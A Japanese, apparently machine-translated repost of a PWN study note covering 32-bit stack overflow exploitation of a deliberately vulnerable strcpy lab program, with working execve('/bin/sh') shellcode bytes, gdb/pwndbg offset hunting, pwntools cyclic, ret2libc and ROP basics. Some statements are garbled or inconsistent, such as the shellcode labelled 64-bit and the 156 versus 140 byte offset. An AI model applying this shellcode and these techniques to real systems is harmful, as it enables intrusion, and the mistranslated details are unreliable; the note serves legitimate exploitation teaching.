長汀PWNノート01

PWNツールコレクション

  • ジオフレームワーク
    • インターフェースはシンプルで使いやすい
    • https://github.com/zTrix/zio
  • Pwntools
    • Pwnフレームワークは、シェルコード生成、ROPチェーン生成などの多くのツールを統合します。
    • http://pwntools.com/
    • https://github.com/gallopsled/pwntools
  • peda / pwndbg-gdbデバッグプラグイン
  • libheap

スタックオーバーフローを悪用する

BOEプログラムの例:

#include<stdio.h>
#include<string.h>
int main(int argc,char **argv){
    
    
    char buf[128];
    if (argc<2) return 1;
    strcpy(buf,argv[1]);
    printf("argv[1]:%s\n",buf);
    return 0;
}
  1. 最初のエクスプロイトケースとして、スタック非実行可能ファイルとスタックカナリアの保護オプションを有効にしません

  2. argcは、コマンドラインパラメーターの数です。

  3. argv [0]はプログラム名の文字列自体、argv [1]は最初のパラメータなどです。

コンパイルコマンドは次のとおりです。

gcc -z execstack -fno-stack-protector bof.c -o bof -m32

分析:

プログラムはコマンドラインから最初のパラメーター入力を受け取ります。このパラメーターが長すぎると、strcpyはスタック上のバ​​ッファーbufをオーバーフローします。

高いアドレス char ** argv
int argc
差出人住所
保存された%ebp
低いアドレス char buf [128]
  • スタックはメモリ内で上位アドレスから下位アドレスに増加します
  • ローカル変数charは下位アドレスから上位アドレスに増加します

文字列パラメータが長すぎると、次のように表示されます。

高いアドレス char ** argv
int argc
buf [132〜135]
buf [128〜131]
低いアドレス buf [0〜127]

戻りアドレスの後にシェルコードを配置し、戻りアドレスを上書きしてシェルコードにジャンプできます。

高いアドレス シェルコード
シェルコード
シェルコードアドレス
buf [128〜131]
低いアドレス buf [0〜127]
payload : padding1 + address of shellcode + shellcode

リターンアドレスをアドレスで上書きする方法があるjmp espため、シェルコードがjmp esp指示に従っている限り、特定のシェルコードアドレスの特定のアドレスについて心配する必要はありません

高いアドレス シェルコード
シェルコード
シェルコードアドレス jmp esp
buf [128〜131]
低いアドレス buf [0〜127]
payload : padding1 + address of jmp esp + shellcode

シェルコード

手書き

まず、execve関数のプロトタイプを見てください。

int execve(const char *filename,char *const argv[],cahr *const envp[])

64ビットでの手書きのシェルコードコード

xor %eax,%eax
pushl %eax
push $0x68732f2f
push $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %ebx
movl %esp,%ecx
cltd
movb $0xb,%al
int $0x80

ここでeaxは0なので、cltdはedxを0に設定するのと同じです。

上記のコードの効果は

execve("/bin/sh",null,null)

Syscall呼び出し規約

  • システムコール番号:%eax = 0xb
  • 最初のパラメーター:%ebx = filename
  • 2番目のパラメーター:%ecx = argv
  • 3番目のパラメーター:%edx = envp = 0
  • 4番目のパラメーター:%esi
  • 5番目のパラメーター:%edi
  • 6番目のパラメーター:%ebp

テスト

インラインアセンブリテストで記述されたシェルコード。アセンブリコードを直接コンパイルするためにアセンブラを使用することもできます。

void shellcode()
{
    
    
    _asm_(
    "xor %eax,%eax\n\t"
    "pushl %eax\n\t"
    "push $0x68732f2f\n\t"
    "push $0x6e69622f\n\t"
    "movl %esp,%ebx\n\t"
    "pushl %eax\n\t"
    "pushl %ebx\n\t"
    "movl %esp,%ecx\n\t"  
    "cltd\n\t"
    "movb $0xb,%al\n\t"
    "int $0x80\n\t"      
    )
}
int main(int argc,char **argv)
{
    
    
    shellcode();
    return 0;
}

エキス

テストコードから分解されたマシンコードを抽出します

objdump -d shellcode

シェルコード命令のマシンコードを抽出します

SHELLCODE = "
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b \xcd\x80
"

したがって、上記のコードは次のように書き直すこともできます。

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b \xcd\x80";
int main(int argc,char **argv)
{
    
    
    void(*f)()=(void(*)())shellcode;
    f();
    return 0;
}

コードでは、シェルコードはグローバル文字配列に格納され、.dataセクションに属します。コンパイラはデフォルトで実行可能ではありません。オプション-z execstackを追加する必要があります。これは、stack / heap / dataセクションが実行可能であることを意味します。 。

スタックオーバーフローの悪用手順

  1. リターンアドレスをカバーできるバッファ長を見つける
  2. シェルコードを入力し、シェルコードのアドレスを見つけます
  3. リターンアドレスをシェルコードアドレスに上書きします

塗りつぶしの長さを見つける

手動で検索

リターンアドレスを正確にカバーするために、最初にバッファの先頭からスタック上のリターンアドレスまでの距離を調べる必要があります。最初にバッファの先頭にあるアドレスを見つけ、次にリターンアドレスの場所を見つけ、次に2つを減算します。バッファの先頭にあるアドレスを見つけるために、strcpyの最初のパラメータを調べることにより、strcpyを呼び出す前にブレークポイントを設定できます。また、main関数が戻る前に中断することができます。このとき、espは戻りアドレスの場所を指します。

次に、上記のサンプルプログラムを例として取り上げます。

syc@ubuntu:~/Desktop/test$ gdb -q --args bof AAAA
pwndbg: loaded 179 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from bof...(no debugging symbols found)...done.
pwndbg> r
Starting program: /home/syc/Desktop/test/bof AAAA
argv[1]:AAAA
[Inferior 1 (process 3282) exited normally]
pwndbg> disassemble main
Dump of assembler code for function main:
   0x5655554d <+0>:	lea    ecx,[esp+0x4]
   0x56555551 <+4>:	and    esp,0xfffffff0
   0x56555554 <+7>:	push   DWORD PTR [ecx-0x4]
   0x56555557 <+10>:	push   ebp
   0x56555558 <+11>:	mov    ebp,esp
   0x5655555a <+13>:	push   ebx
   0x5655555b <+14>:	push   ecx
   0x5655555c <+15>:	add    esp,0xffffff80
   0x5655555f <+18>:	call   0x56555450 <__x86.get_pc_thunk.bx>
   0x56555564 <+23>:	add    ebx,0x1a70
   0x5655556a <+29>:	mov    eax,ecx
   0x5655556c <+31>:	cmp    DWORD PTR [eax],0x1
   0x5655556f <+34>:	jg     0x56555578 <main+43>
   0x56555571 <+36>:	mov    eax,0x1
   0x56555576 <+41>:	jmp    0x565555b1 <main+100>
   0x56555578 <+43>:	mov    eax,DWORD PTR [eax+0x4]
   0x5655557b <+46>:	add    eax,0x4
   0x5655557e <+49>:	mov    eax,DWORD PTR [eax]
   0x56555580 <+51>:	sub    esp,0x8
   0x56555583 <+54>:	push   eax
   0x56555584 <+55>:	lea    eax,[ebp-0x88]
   0x5655558a <+61>:	push   eax
   0x5655558b <+62>:	call   0x565553e0 <strcpy@plt>
   0x56555590 <+67>:	add    esp,0x10
   0x56555593 <+70>:	sub    esp,0x8
   0x56555596 <+73>:	lea    eax,[ebp-0x88]
   0x5655559c <+79>:	push   eax
   0x5655559d <+80>:	lea    eax,[ebx-0x1994]
   0x565555a3 <+86>:	push   eax
   0x565555a4 <+87>:	call   0x565553d0 <printf@plt>
   0x565555a9 <+92>:	add    esp,0x10
   0x565555ac <+95>:	mov    eax,0x0
   0x565555b1 <+100>:	lea    esp,[ebp-0x8]
   0x565555b4 <+103>:	pop    ecx
   0x565555b5 <+104>:	pop    ebx
   0x565555b6 <+105>:	pop    ebp
   0x565555b7 <+106>:	lea    esp,[ecx-0x4]
   0x565555ba <+109>:	ret    
End of assembler dump.

通話strcpyret指示のブレークポイント

pwndbg> b *0x5655558b
Breakpoint 1 at 0x5655558b
pwndbg> b *0x565555ba
Breakpoint 2 at 0x565555ba

デバッグを開始します

pwndbg> r AAAA
Starting program: /home/syc/Desktop/test/bof AAAA

Breakpoint 1, 0x5655558b in main ()
 ► 0x5655558b <main+62>     call   strcpy@plt <0x565553e0>
        dest: 0xffffced0 ◂— 0x0
        src: 0xffffd1fd ◂— 'AAAA'

pwndbg> x/wx $esp
0xffffcec0:	0xffffced0	0xffffd1fd 
//分别是strcpy的两个参数,第一个参数即为目标缓冲区0xffffced0
pwndbg> c
Continuing.
argv[1]:AAAA

Breakpoint 2, 0x565555ba in main ()
pwndbg> x/wx $esp
0xffffcf6c:	0xf7df4e81
pwndbg> p/d 0xffffcf6c - 0xffffced0
$1 = 156
  • 最初のブレークポイントで、バッファの開始アドレスは0xffffced0であることがわかります。
  • 2 2番目のブレークポイントで、バッファの開始アドレスが0xffffcf6cであることを確認します。
  • 2つを引くと、オーバーフローが140バイトを超えるとリターンアドレスが上書きされることがわかります。

pwntools之環状

循環パターンは非常に強力な関数です。おそらく、pwntoolsを使用してパターンを生成し、patternは文字列を参照し、一部のデータから文字列内でそれを見つけることができることを意味します。

スタックオーバーフローの問題が完了したら、patternを使用すると、オーバーフローポイントの計算にかかる時間を大幅に短縮できます。
使用法:

cyclic(0x100) # 生成一个0x100大小的pattern,即一个特殊的字符串
cyclic_find(0x61616161) # 找到该数据在pattern中的位置
cyclic_find('aaaa') # 查找位置也可以使用字符串去定位

たとえば、スタックがオーバーフローした場合、最初にサイクリック(0x100)またはより長いパターンを作成して入力します。入力後、pcの値が0x61616161に変更された後、Cyclic_find(0x61616161)からバイトを取得できます。 )多くの不要な計算を回避して、PCレジスタの制御を開始しました

Libcに戻る

スタックオーバーフローが発生した場合、シェルコードにジャンプするのではなく、libcの関数にジャンプします。

シンプルな機能

システム機能を例にとったスタックレイアウト

0
「/ bin / sh」
出口
アドレスを返す システム
パディング

システムが戻ると、スタック上の対応する戻りアドレスはexit()関数であり、exit(0)が実行されるため、次の実行と同等です。

system("/bin/sh")
exit(0)

簡単に言えば:

  • system()とexit()の関数アドレスを取得します
  • 「/ bin / sh」の文字列アドレスを取得します
  • オーバーフロー負荷を構築する
    • システム+終了+「bin / sh」+0
  • 実験はASLRをオフにして実行され、libc関数のアドレスは固定されています。

system()とexit()の関数アドレスを取得します

  • GDBで直接printコマンドを使用して表示できます
pwndbg> print system
$1 = {
    
    int (const char *)} 0xf7e19200 <__libc_system>
pwndbg> p exit
$2 = {
    
    void (int)} 0xf7e0c3d0 <__GI_exit>

「/ bin / sh」の文字列アドレスを取得します

glibcには文字列「/ bin / sh」が必要です。GDBでfindコマンドを使用して、libcのメモリ範囲を検索できます。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56556000 r-xp     1000 0      /home/syc/Desktop/test/bof
0x56556000 0x56557000 r-xp     1000 0      /home/syc/Desktop/test/bof
0x56557000 0x56558000 rwxp     1000 1000   /home/syc/Desktop/test/bof
0xf7ddc000 0xf7fb1000 r-xp   1d5000 0      /lib/i386-linux-gnu/libc-2.27.so
0xf7fb1000 0xf7fb2000 ---p     1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb4000 r-xp     2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb4000 0xf7fb5000 rwxp     1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb5000 0xf7fb8000 rwxp     3000 0      
0xf7fd0000 0xf7fd2000 rwxp     2000 0      
0xf7fd2000 0xf7fd5000 r--p     3000 0      [vvar]
0xf7fd5000 0xf7fd6000 r-xp     1000 0      [vdso]
0xf7fd6000 0xf7ffc000 r-xp    26000 0      /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp     1000 25000  /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp     1000 26000  /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]
pwndbg> find /b 0xf7ddc000, 0xf7fb5000,'/','b','i','n','/','s','h',0
0xf7f5a0cf
1 pattern found.
pwndbg> x/s 0xf7f5a0cf
0xf7f5a0cf:	"/bin/sh"

0xf7ddc000はlibcの開始アドレス、0xf7fb5000は終了アドレスです

アドレスを取得する別の方法

syc@ubuntu:~/Desktop/test$ ldd bof
	linux-gate.so.1 (0xf7eff000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d03000)
	/lib/ld-linux.so.2 (0xf7f00000)
syc@ubuntu:~/Desktop/test$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   ...
  1510: 0003d200    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
syc@ubuntu:~/Desktop/test$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
   ...
   147: 000303d0    33 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   ...
syc@ubuntu:~/Desktop/test$ strings -tx  /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 17e0cf /bin/sh
 syc@ubuntu:~/Desktop/test$ gdb -q
pwndbg: loaded 179 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> p/x 0xf7d03000 + 0x0003d200
$1 = 0xf7d40200
pwndbg> p/x 0xf7d03000 + 0x000303d0
$2 = 0xf7d333d0
pwndbg> p/x 0xf7d03000 + 0x017e0cf
$3 = 0xf7e810cf
  • 最初にlddコマンドを使用してlibcベースアドレスを取得します
  • 次に、readelfコマンドを使用して、システムのオフセットを見つけ、libcの関数を終了します。
  • 文字列コマンドを使用して、libc内の文字列/ bin / shのオフセットを検索します
  • 最後に、最終的なアドレスは、libcベースアドレスに追加することによって取得されます

「/ bin / sh」のアドレスに改行文字0aが含まれていて、argv [1]が改行文字によって切り捨てられる場合があります。解決策:「sh \ 0」を使用してください。

コマンド文字列を置き換えることができます。一般的に、/ binディレクトリはすでにPATH環境変数に含まれているため、「sh」文字列を見つけて、そのアドレスをsystem()関数のパラメータとして使用するだけで済みます。

プログラム自体のスペースで文字列「sh」を検索し、findコマンドを使用することもできます。

pwndbg> find /b 0xf7ddc000, 0xf7fb5000, 's','h',0
0xf7deacd3
0xf7dead32
0xf7debe59
0xf7dec4ac
0xf7dee4f6
0xf7dee5d3
0xf7deee85
0xf7def172
0xf7f573b5 <__re_error_msgid+117>
0xf7f57dc1 <afs.8574+193>
0xf7f5a0d4
0xf7f5bacd
12 patterns found.
pwndbg> x/s 0xf7deacd3
0xf7deacd3:	"sh"

PLTに戻る

  • 動的共有ライブラリのアドレスランダム化保護がオンになっている場合、libcアドレスを知ることはできません
  • プログラムで参照されているダイナミックライブラリ関数は、実際のアドレスを知らなくても、PLTを介して直接呼び出すことができます。

Libcへの復帰を再考する

  • Return to Libcを使用して、system( "/ bin / sh")とexit(0)を呼び出しました。
  • system()関数とexit()関数は、基本的にret命令で終わるコードスニペットです。
  • retの最後にある他のコードスニペットはどうですか?たとえば、いくつかの命令で構成される小さなコードフラグメント。それは同様に実行可能です!

ROP(リターン指向プログラミング)

  • ROPと呼ばれるret命令で終わるコードフラグメントをスプライシングすることによって特定の機能を実装するテクノロジー
  • ret命令で終わる小さなコードは、ROPガジェットと呼ばれます。例:pop edx; ret
  • 特定の機能によってスプライスされた複数のROPガジェットを実現するために、それをROPチェーン(ROPチェーン)と呼びます
  • ROPチェーンの実行に使用されるスタック(リターンアドレスから開始)に入力されたデータは、ROPペイロード(ROPペイロード)と呼ばれます。
  • ROPテクノロジーはReturnto libcの拡張であり、Return to libcはROPの特殊なケース、つまりROPガジェットがたまたまlibcの関数である場合です。

ROP-JOP、COPの拡張

  • 薬を変えずにスープを変え、使用したコードスニペットをretの終わりからjmp / callの終わりまで拡張します
  • JOP(ジャンプ指向プログラミング)
    • ポップ結果; jmp dword [esi-0x70]
  • COP(呼び出し指向プログラミング)
    • mov edx、dowrd [esp + 0x48]; dowordを呼び出す[eax + 0x10]

ROPガジェット検索ツール

  • ROPGadget
    • https://github.com/JonathanSalwan/ROPgadget
  • rp
    • https://github.com/0vercl0k/rp
  • ropper
    • https://github.com/sashs/Ropper
  • xrop
    • https://github.com/acama/xrop

おすすめ

転載: blog.csdn.net/kelxLZ/article/details/111830603